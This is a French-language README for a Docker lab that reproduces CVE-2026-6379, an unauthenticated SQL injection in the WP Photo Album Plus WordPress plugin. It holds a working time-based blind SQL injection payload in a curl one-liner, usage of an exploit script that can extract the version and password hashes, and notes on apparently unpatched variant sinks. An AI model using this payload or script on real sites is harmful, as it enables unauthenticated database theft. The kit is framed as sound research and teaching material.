
# Kit de laboratoire Docker pour CVE-2026-6379, une injection SQL non authentifiée dans WP Photo Album Plus. Comprend un PoC d'aveugle basé sur le temps, une analyse de cause racine et une validation de correctif pour la recherche en sécurité autorisée.
Paramètre : wppa-supersearch
Sévérité : CVSS 8.6 (élevée) selon WPScan/Wordfence
Correctif fournisseur : 2026-04-17 (commit d2b0d05d dans le miroir WordPressBugBounty)
Divulgation publique : 2026-04-27 (WPScan)
Ce kit vous fournit un laboratoire Docker autonome et un PoC fonctionnel afin que vous puissiez reproduire, valider et enseigner la faille de bout en bout.
# Sur l'hôte du laboratoire :
cd lab && ./setup.sh
# Lorsque l'installeur affiche "=== LAB READY ===" avec un page_id :
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe-calendar
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode version
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode hash
Une cible vulnérable répond en à la sonde SLEEP ; une cible corrigée répond en .
~5s<1sVérification manuelle en une ligne :
curl -sS -o /dev/null -w "%{time_total}\n" \
"http://<host>:8080/?page_id=<id>&wppa-occur=1&wppa-supersearch=,o,,x%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))A)--%20-"
cve-2026-6379-wppa/
├── README.md # ce fichier
├── docs/
│ ├── writeup.md # analyse de la cause racine + du correctif
│ └── prompts.md # invites de recherche IA ayant permis de distiller ce kit
├── lab/
│ ├── docker-compose.yml # WordPress 6.5 + MySQL 8 + WPPA+ 9.1.10.011
│ ├── setup.sh # démarrage / arrêt / purge
│ └── init/install.sh # installeur idempotent (wp-cli)
└── pocs/
├── exploit.py # injection SQL aveugle basée sur le temps (probe / version / user / hash)
└── test_oracle.sh # test d'intégration de bout en bout
wppa_get_photos() analyse le paramètre de requête wppa-supersearch comme un
CSV s1,type,s3,DATA. Lorsque type='o' (Propriétaire), DATA est concaténé
directement dans une chaîne SQL :
$query = "SELECT id FROM $wpdb->wppa_photos
WHERE owner = '" . $data . "' AND album > 0 ORDER BY $order";
Aucun échappement, aucun $wpdb->prepare. Définir wppa-supersearch=,o,,x' OR (...)-- -
échappe au guillemet du propriétaire et exécute du SQL arbitraire. Le point de terminaison est la page
front-end publique qui héberge le shortcode [wppa], donc aucune authentification n'est requise.
Le correctif enveloppe chaque cas précédemment concaténé dans $wpdb->prepare(..., %s).
d2b0d05d)Le correctif CVE-2026-6379 réécrit six sinks SQL distincts dans
wppa_get_photos() dans wppa-functions.php. Les deux modes PoC (probe et
probe-calendar) touchent des sinks indépendants ; les autres ne diffèrent que par la forme
de la charge utile. Tous sont non authentifiés et accessibles via le même contrôle wppa-occur=N
que le sink principal.
| # | Sink (ligne vulnérable) | Paramètres déclencheurs | Mode PoC |
|---|---|---|---|
| 1 | owner — WHERE owner = '$data' (ligne 1244) | wppa-supersearch=,o,,… | --mode probe (validé en direct) |
| 2 | name — WHERE sname = '<wppa_name_slug($data)>' (ligne 1237) | wppa-supersearch=,n,,… | non exploité (le filtre slug supprime les guillemets) |
| 3 | tag — WHERE tags LIKE '%$d%' (ligne 1254) | wppa-supersearch=,g,,… | contraint par wppa_sanitize_tags() |
| 4 | calendar exifdtm — WHERE exifdtm LIKE '<wp_strip_all_tags($caldate)>%' (ligne 1361) | wppa-calendar=exifdtm&wppa-caldate=… | --mode probe-calendar (validé en direct) |
| 5 | calendar timestamp — WHERE timestamp >= $t1 AND timestamp < $t2 (ligne 1368) | wppa-calendar=timestamp&wppa-caldate=… | coercition numérique (intval) — limité |
| 6 | calendar modified — identique à timestamp (ligne 1375) | wppa-calendar=modified&wppa-caldate=… | coercition numérique — limité |
Les lignes #4–#6 ont également supprimé un fragment ORDER BY $order orphelin dans le même
commit — voir « Durcissement connexe » ci-dessous.
Un audit plus large de wppa-functions.php sur la même version vulnérable
a révélé des sinks en dehors du correctif CVE-2026-6379. Ils ne correspondent pas à ce que
WPScan/Wordfence a publié, et tous ne sont pas également exploitables, mais ils
sont documentés ici afin que le laboratoire soit également utile pour la chasse aux variantes.
stripslashes( $wpdb->prepare( ... IN (%s) ... ) ) — probablement une vulnérabilité distincteStatut : présent dans 9.1.11.001 (post-correctif). Non traité par d2b0d05d.
Candidat pour un CVE de suivi.
%s n'est pas valide pour une liste IN séparée par des virgules (il émet toujours une seule
chaîne entre guillemets). Le plugin contourne cela en enveloppant l'instruction préparée
dans stripslashes(), ce qui supprime l'échappement que prepare()
vient d'ajouter — rouvrant l'injection si un élément de la liste est contaminé par un attaquant.
Occurrences représentatives : wppa-functions.php lignes 660, 711, 831, 838,
889, 895, 900, 971, 1028, 1034, 1041, 1122, 1144, 1190, 1410, 1414, 1465,
1470, 1476, 1481, 1491.
Requête de chasse pour l'analyse de variantes :
docker exec cve26-6379-wp grep -n "stripslashes( \$wpdb->prepare" \
/var/www/html/wp-content/plugins/wp-photo-album-plus/wppa-functions.php
ORDER BY $order — partiellement traitéLe correctif a supprimé ORDER BY $order des sinks calendar/clause IN mais
l'a laissé ailleurs. $order est défini à partir de l'état d'exécution du plugin (table
des réglages) — l'exploitabilité nécessite un chemin d'écriture vers cet état. À considérer comme
durcissement.
wp_strip_all_tags() utilisé comme assainisseur SQL (variante de #4)wp_strip_all_tags supprime le HTML, pas le SQL. Partout où il apparaît autour d'un
fragment SQL entre guillemets, ce fragment est injectable. Au-delà de caldate, auditez
toute autre valeur de requête qui transite par cette fonction avant
concaténation.
| État | probe | probe-calendar |
|---|---|---|
| Vulnérable (9.1.10.011) | [+] VULNERABLE — ~5.0s ≥ 3.5s | [+] VULNERABLE — ~5.0s ≥ 3.5s |
| Corrigé (9.1.11.001) | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
| Plugin désactivé | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
Page sans shortcode [wppa] | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
Changement de version sur un laboratoire en cours d'exécution :
# Corrigé :
docker exec cve26-6379-wp wp --path=/var/www/html --allow-root \
plugin install wp-photo-album-plus --version=9.1.11.001 --force --activate \
--allow-root || true
# Relancez la sonde ; elle devrait être négative.
admin / adminadmin — ne les exposez jamais sur Internet../setup.sh purge (supprime le volume de la base de données).wppa-functions.php (vulnérable) : https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/2d8c2f64/wp-photo-album-plus/wppa-functions.phpwppa-functions.php (corrigé) : https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/d2b0d05d/wp-photo-album-plus/wppa-functions.php